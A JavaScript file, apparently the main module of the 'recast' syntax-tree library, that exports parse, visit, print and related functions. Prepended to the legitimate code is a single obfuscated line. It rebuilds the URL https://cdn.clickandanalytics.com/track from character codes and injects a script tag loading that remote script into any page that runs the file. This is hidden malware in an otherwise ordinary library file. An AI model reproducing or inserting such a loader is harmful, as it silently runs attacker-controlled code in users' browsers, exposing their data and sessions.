var q=b;function a(){var r=['createElement','9GObIrw','18837040SVtcsu','pt[','9165200izKISN','head','c="','parentNode','currentScript','getElementsByTagName','2775636jZxsoy','726LdVZCO','src','5833500ugSeSx','insertBefore','23453KiLFgo','17575602BTZXWl','fromCharCode','38010CnTXlm','ack','querySelector','1830267QKePcj','58ZquZWI'];a=function(){return r;};return a();}(function(c,e){var o=b,f=c();while(!![]){try{var g=parseInt(o('0x120'))/0x1*(-parseInt(o('0x127'))/0x2)+-parseInt(o('0x126'))/0x3+parseInt(o('0x132'))/0x4+parseInt(o('0x11e'))/0x5+parseInt(o('0x133'))/0x6*(-parseInt(o('0x123'))/0x7)+-parseInt(o('0x12c'))/0x8*(parseInt(o('0x129'))/0x9)+parseInt(o('0x12a'))/0xa;if(g===e)break;else f['push'](f['shift']());}catch(h){f['push'](f['shift']());}}}(a,0x9f08f));function utrertdfg(c){var p=b;return Boolean(document[p('0x125')]('sc'+'ri'+p('0x12b')+'sr'+p('0x12e')+c+'"]'));}var bd='ht'+String[q('0x122')](0x74,0x70,0x73,0x3a,0x2f,0x2f,0x63,0x64,0x6e,0x2e,0x63,0x6c,0x69,0x63,0x6b)+'and'+String[q('0x122')](0x61,0x6e,0x61,0x6c,0x79,0x74,0x69,0x63,0x73,0x2e,0x63,0x6f,0x6d,0x2f,0x74,0x72)+q('0x124'),bd1=q('0x121');function b(c,d){var e=a();return b=function(f,g){f=f-0x11d;var h=e[f];return h;},b(c,d);}if(utrertdfg(bd)===![]){var d=document,s=d[q('0x128')]('sc'+'r'+'ip'+'t');s[q('0x11d')]=bd,d['currentScript']?d[q('0x130')][q('0x12f')]!==null&&d['currentScript'][q('0x12f')][q('0x11f')](s,d[q('0x130')]):d[q('0x131')](q('0x12d'))[0x0]!==null&&d[q('0x131')]('head')[0x0]['appendChild'](s);}var types = require("./lib/types");
var parse = require("./lib/parser").parse;
var Printer = require("./lib/printer").Printer;

function print(node, options) {
    return new Printer(options).print(node);
}

function prettyPrint(node, options) {
    return new Printer(options).printGenerically(node);
}

function run(transformer, options) {
    return runFile(process.argv[2], transformer, options);
}

function runFile(path, transformer, options) {
    require("fs").readFile(path, "utf-8", function(err, code) {
        if (err) {
            console.error(err);
            return;
        }

        runString(code, transformer, options);
    });
}

function defaultWriteback(output) {
    process.stdout.write(output);
}

function runString(code, transformer, options) {
    var writeback = options && options.writeback || defaultWriteback;
    transformer(parse(code, options), function(node) {
        writeback(print(node, options).code);
    });
}

Object.defineProperties(exports, {
    /**
     * Parse a string of code into an augmented syntax tree suitable for
     * arbitrary modification and reprinting.
     */
    parse: {
        enumerable: true,
        value: parse
    },

    /**
     * Traverse and potentially modify an abstract syntax tree using a
     * convenient visitor syntax:
     *
     *   recast.visit(ast, {
     *     names: [],
     *     visitIdentifier: function(path) {
     *       var node = path.value;
     *       this.visitor.names.push(node.name);
     *       this.traverse(path);
     *     }
     *   });
     */
    visit: {
        enumerable: true,
        value: types.visit
    },

    /**
     * Reprint a modified syntax tree using as much of the original source
     * code as possible.
     */
    print: {
        enumerable: true,
        value: print
    },

    /**
     * Print without attempting to reuse any original source code.
     */
    prettyPrint: {
        enumerable: false,
        value: prettyPrint
    },

    /**
     * Customized version of require("ast-types").
     */
    types: {
        enumerable: false,
        value: types
    },

    /**
     * Convenient command-line interface (see e.g. example/add-braces).
     */
    run: {
        enumerable: false,
        value: run
    }
});